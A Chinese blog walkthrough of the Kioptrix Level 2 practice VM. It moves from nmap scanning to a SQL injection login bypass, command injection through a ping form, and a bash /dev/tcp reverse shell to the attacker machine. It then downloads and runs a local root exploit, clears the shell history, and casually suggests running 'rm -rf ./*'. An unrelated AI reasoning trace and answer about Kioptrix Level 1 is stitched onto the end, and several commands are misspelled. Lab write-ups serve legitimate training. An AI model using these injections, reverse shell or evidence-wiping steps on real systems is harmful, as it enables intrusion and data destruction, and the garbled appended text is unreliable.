攻破 kioptix level 2靶机

在训练中学习,现在开始打靶之旅吧。

一、准备

1.查看攻击机ip确认网段

ip addr

=> 192.168.5.129

2.主机探测

namp -sP -T5 192.168.5.0/24

.1是主机

.2是网关

.129是攻击机

.131是目标

.254是什么?

3.端口和服务侦测

端口

nmap -sS -T5 -p- 192.168.5.131

服务

nmap -sV -T5 192.168.5.131

看到 80 端口 http 服务开放

探测网站存活情况

curl 192.168.5.131

目录扫描

dirsearch -u http://192.168.5.131:80

(不加port 80也可以)

4.整理信息

端口、服务、版本

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)

有效目录

[10:12:04] 301 -  315B  - /manual  ->  http://192.168.5.131/manual/         
[10:12:04] 200 -    7KB - /manual/index.html 

二、获取权限

1.访问web服务并检测漏洞

经典登录框,尝试弱密码,未成功

结合 3306端口开放的mysql服务,尝试 sql 注入万能密码

admin' or 1=1#

 成功登入

提示 Ping 机器,但没有 Ping 的入口,查看源码分析

注意到其中的 cengter 未被引号闭合,且 </td> 标签多余

修改前端

打开开发者工具,在查看器里观察到没有上图标红的代码

右键选择编辑htm代码,插入 Ping 框内容

==》

也可以使用burp抓包,修改返回包的html代码实现

2.ping

127.0.0.1;ls

成功按序执行

3.反弹shell

攻击机监听本地端口

nc -lvp 8999

目标机将shell送到攻击机上。

copy一下代码

127.0.0.1;bash -i >& /dev/tcp/192.168.5.129/8999 0>&1

连接成功
拿到普通控制权限

三、提权

 侦测系统和版本信息

uname -a
lsb_release -a

==》 Centos5 4.5 操作系统

查找历史版本漏洞

searchsloit Centos 4.5

 当前目录下下载 exp (一定要注意版本对应,比如上图中 4.5 最好是第二个)

searchsploit Centos 4.5 -m linux_x86/local/9542.c

攻击机当前目录开启web服务,操作目标机下载文件

python -m http.server 80

开启成功

cd /tmp

wget http://192.168.5.129:80/9542.c

注意要先切换到tmp目录进行下载,否则权限不够

编译运行

gcc  ./9542.c

./a.out

提权成功

删除历史纪录

histosy -c

也可以试试会发生什么

cd /

rm -rf ./*

补充说明

命令汇总

ip addr
namp -sP -T5 192.168.5.0/24
nmap -sS -T5 -p- 192.168.5.131
nmap -sV -T5 192.168.5.131
curl 192.168.5.131
dirsearch -u http://192.168.5.131:80
admin' or 1=1#
127.0.0.1;ls
nc -lvp 8999
127.0.0.1;bash -i >& /dev/tcp/192.168.5.129/8999 0>&1
uname -a
lsb_release -a
searchsloit Centos 4.5
searchsploit Centos 4.5 -m linux_x86/local/9542.c
python -m http.server 80
cd /tmp
wget http://192.168.5.129:80/9542.c
gcc  ./9542.c
./a.out
histosy -c

-sP  Ping 扫描,用于确定网络中哪些主机存回,不会扫描端口。

-T5  扫描时间,从 0(最慢最隐蔽)到 5(最快最不隐蔽)

192.168.5.0/24  扫描的内网范围,表示 192.168.5.1-254 所有ip

-sS SYN半开放扫描,快速且不容易被检测

-p- 全端口(1-65535)

-sV 服务版本探测

curl http://ip  使用默认的http get请求访问web服务

nc -lvp 8999 在本地机器的 8999 端口上监听传入的连接,并且显示详细信息


bash -i >& /dev/tcp/192.168.5.129/8999 0>&1

bash -i 启动交互式的bash对话

>& 输出重定向

/dev/tcp/192.168.5.129/8999 这是一个特殊的Linux设备文件,用于创建一个TCP连接。这里它被用来建立一个到指定IP地址端口8999的连接

0>&1 将标准输入(文件描述符0)重定向到标准输出(1)。将Bash会话的标准输入输出都通过TCP连接发送和接收。


uname -a

`uname` 是一个在 Unix 和 Unix-like 操作系统中常用的命令行工具,用于显示系统信息。`-a` 参数告诉 `uname` 显示所有可用的信息。当你在终端执行 `uname -a` 命令时,它会返回以下信息:

1. 系统名称:通常是内核名称,对于 Linux 系统来说通常是 `Linux`。
2. 节点名称:主机名,即你的计算机在网络上的名称。
3. 内核版本:操作系统的内核版本号。
4. 机器类型:硬件架构,例如 `x86_64` 表示 64 位 x86 架构。
5. 处理器:有时这个字段可能不显示,或者显示为 `unknown`。
6. 操作系统:完整的操作系统名称,包括发行版和版本号。
7. 版本:操作系统的版本号。
8. 硬件平台:有时这个字段可能不显示,或者显示为 `unknown`。
9. 操作系统构建日期:操作系统构建的时间戳。

例如,一个典型的输出可能如下所示:

```
Linux myhostname 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

这里,`myhostname` 是节点名称,`5.4.0-42-generic` 是内核版本,`x86_64` 是机器类型,`GNU/Linux` 表示操作系统。


lsb_release -a

`lsb_release` 是一个在基于 Linux 的系统上用来显示 Linux 标准基础(Linux Standard Base, LSB)相关信息的命令。这个工具特别有用,因为它提供了一种标准化的方式来获取发行版的特定信息,这对于编写需要与特定发行版兼容的脚本和软件非常有用。

使用 `-a` 参数(或 `--all`),`lsb_release` 命令会显示所有可用的 LSB 信息,包括发行版的描述、版本号等。输出的具体内容会根据你的 Linux 发行版而有所不同。

以下是执行 `lsb_release -a` 命令可能得到的一部分输出示例:

```
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.1 LTS
Release:        20.04
Codename:       focal
```

在这个示例中:

- Distributor ID:发行版的标识符,这里是 `Ubuntu`。
- Description:发行版的描述,这里是 `Ubuntu 20.04.1 LTS`。
- Release:发行版的版本号,这里是 `20.04`。
- Codename:发行版的代号,这里是 `focal`,这是 Ubuntu 20.04 版本的代号。

请注意,不是所有的 Linux 发行版都支持 LSB,或者可能没有安装 `lsb-release` 包。如果你的系统没有安装这个包,你可能会看到类似 "No LSB modules are available" 的消息。在这种情况下,你可能需要安装 `lsb-release` 包,或者使用其他方法来获取你的发行版信息。


searchsloit Centos 4.5
searchsploit Centos 4.5 -m linux_x86/local/9542.c

searchsploit 是 Exploit Database 提供的一个工具,用于快速搜索和下载漏洞利用代码。Exploit Database 是一个庞大的漏洞和安全漏洞数据库,它包含了许多已知漏洞的详细信息和相关利用代码。

  • searchsploit CentOS 4.5

    • 这个命令用于搜索所有与 CentOS 4.5 相关的漏洞和利用代码。它会列出所有相关的条目,包括漏洞名称、描述和参考链接。
  • searchsploit CentOS 4.5 -m linux_x86/local/9542.c

    • 这个命令用于直接下载与 CentOS 4.5 相关的特定漏洞利用代码。-m 参数用于指定要下载的模块(即漏洞利用代码文件)。
    • linux_x86/local/9542.c 是 Exploit Database 中的一个特定文件路径,其中 9542.c 是一个针对 Linux x86 系统的本地提权漏洞的利用代码。

 

其他

1.删

2.操作数据库

尝试翻了一遍默认目录也没找到,暂时先这样了

思考一下拿到权限后能做的其他事?

<think>嗯,用户遇到了Kioptrix Level 1靶场扫描无响应的问题,用的是NAT模式。首先,我需要回想一下常见的原因。可能网络配置有问题,比如虚拟机的网络设置是否正确,是否处于同一网段。然后,用户可能没关闭防火墙或者靶机没正确启动服务。另外,扫描参数是否正确也很重要,比如nmap的参数是否合适。 我记得之前看过引用里的内容,用户用了nmap的-sn参数扫描,但可能没正确指定目标IP。需要确认靶场的IP地址是否在同一个子网下。有时候虚拟机使用NAT模式可能需要端口转发或者检查虚拟网络编辑器的设置,比如VMware的NAT设置是否有问题。 另外,用户提到靶场比较古老,可能Apache和服务的版本较低,是否兼容当前的环境?比如,是否因为服务未启动导致无法响应扫描。还要考虑主机防火墙是否阻止了连接,或者虚拟机的网络适配器是否正确连接。 可能的解决步骤包括:检查虚拟机网络配置,确认IP地址,使用正确的nmap参数(比如-p指定端口范围),关闭防火墙,重启服务等。此外,用户可能需要检查主机和虚拟机之间的连通性,比如ping测试,或者使用ARP扫描来发现靶机。 需要注意的是,有些情况下NAT模式可能需要手动设置静态IP,或者检查DHCP分配。如果扫描时没反应,可能是靶机没有获取到正确的IP,或者主机无法路由到靶机网络。这时候可能需要检查虚拟网络设置,确保NAT网络配置正确,或者尝试桥接模式看看是否是NAT模式的问题。 还有,用户是否在扫描时使用了正确的目标网段?比如,如果主机在192.168.1.x,而靶机可能分配到了不同的子网,比如192.168.152.x,这时候需要调整扫描的IP范围。此外,nmap的--min-rate参数可能在高版本中需要调整,或者结合其他参数如-Pn来跳过主机发现。 总结下来,解决方案的步骤应该是:确认网络配置、检查IP地址、调整nmap参数、关闭防火墙、验证服务状态,如果不行再考虑更换网络模式或检查虚拟网络设置。</think>### Kioptrix Level 1靶场扫描无响应解决方案 #### 1. 验证网络配置 - **检查虚拟机网络模式**:确认靶机和攻击机(如Kali Linux)均设置为`NAT模式`,并在VMware/VirtualBox的虚拟网络编辑器中确保`NAT子网网段一致`(例如192.168.152.0/24)[^2] - **获取靶机IP**:在靶机启动后登录系统(默认账号`root`/空密码),执行`ifconfig`或`ip addr`获取实际分配的IP地址 #### 2. 优化扫描参数 ```bash nmap -sn 192.168.152.0/24 --min-rate 1000 # 快速扫描存活主机 nmap -Pn -p 1-65535 192.168.152.130 # 跳过主机发现,全端口扫描 ``` #### 3. 常见问题排查 | 问题类型 | 解决方案 | |---------|----------| | 防火墙拦截 | 靶机执行`service iptables stop`关闭防火墙 | | 服务未启动 | 检查`apache`状态:`service httpd status` | | ARP缓存问题 | 攻击机执行`arp-scan -l`扫描本地网络 | #### 4. 网络连通性验证 ```bash ping 靶机IP # 测试基础连通性 telnet 靶机IP 80 # 测试Web服务端口 tcpdump -i eth0 icmp # 抓包分析网络流量 ``` #### 5. 特殊场景处理 - **NAT模式失效**:尝试切换为`桥接模式`后重新扫描 - **DHCP未分配IP**:在VMware虚拟网络编辑器中重置NAT DHCP租约 - **虚拟机冲突**:关闭其他虚拟机避免IP冲突
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值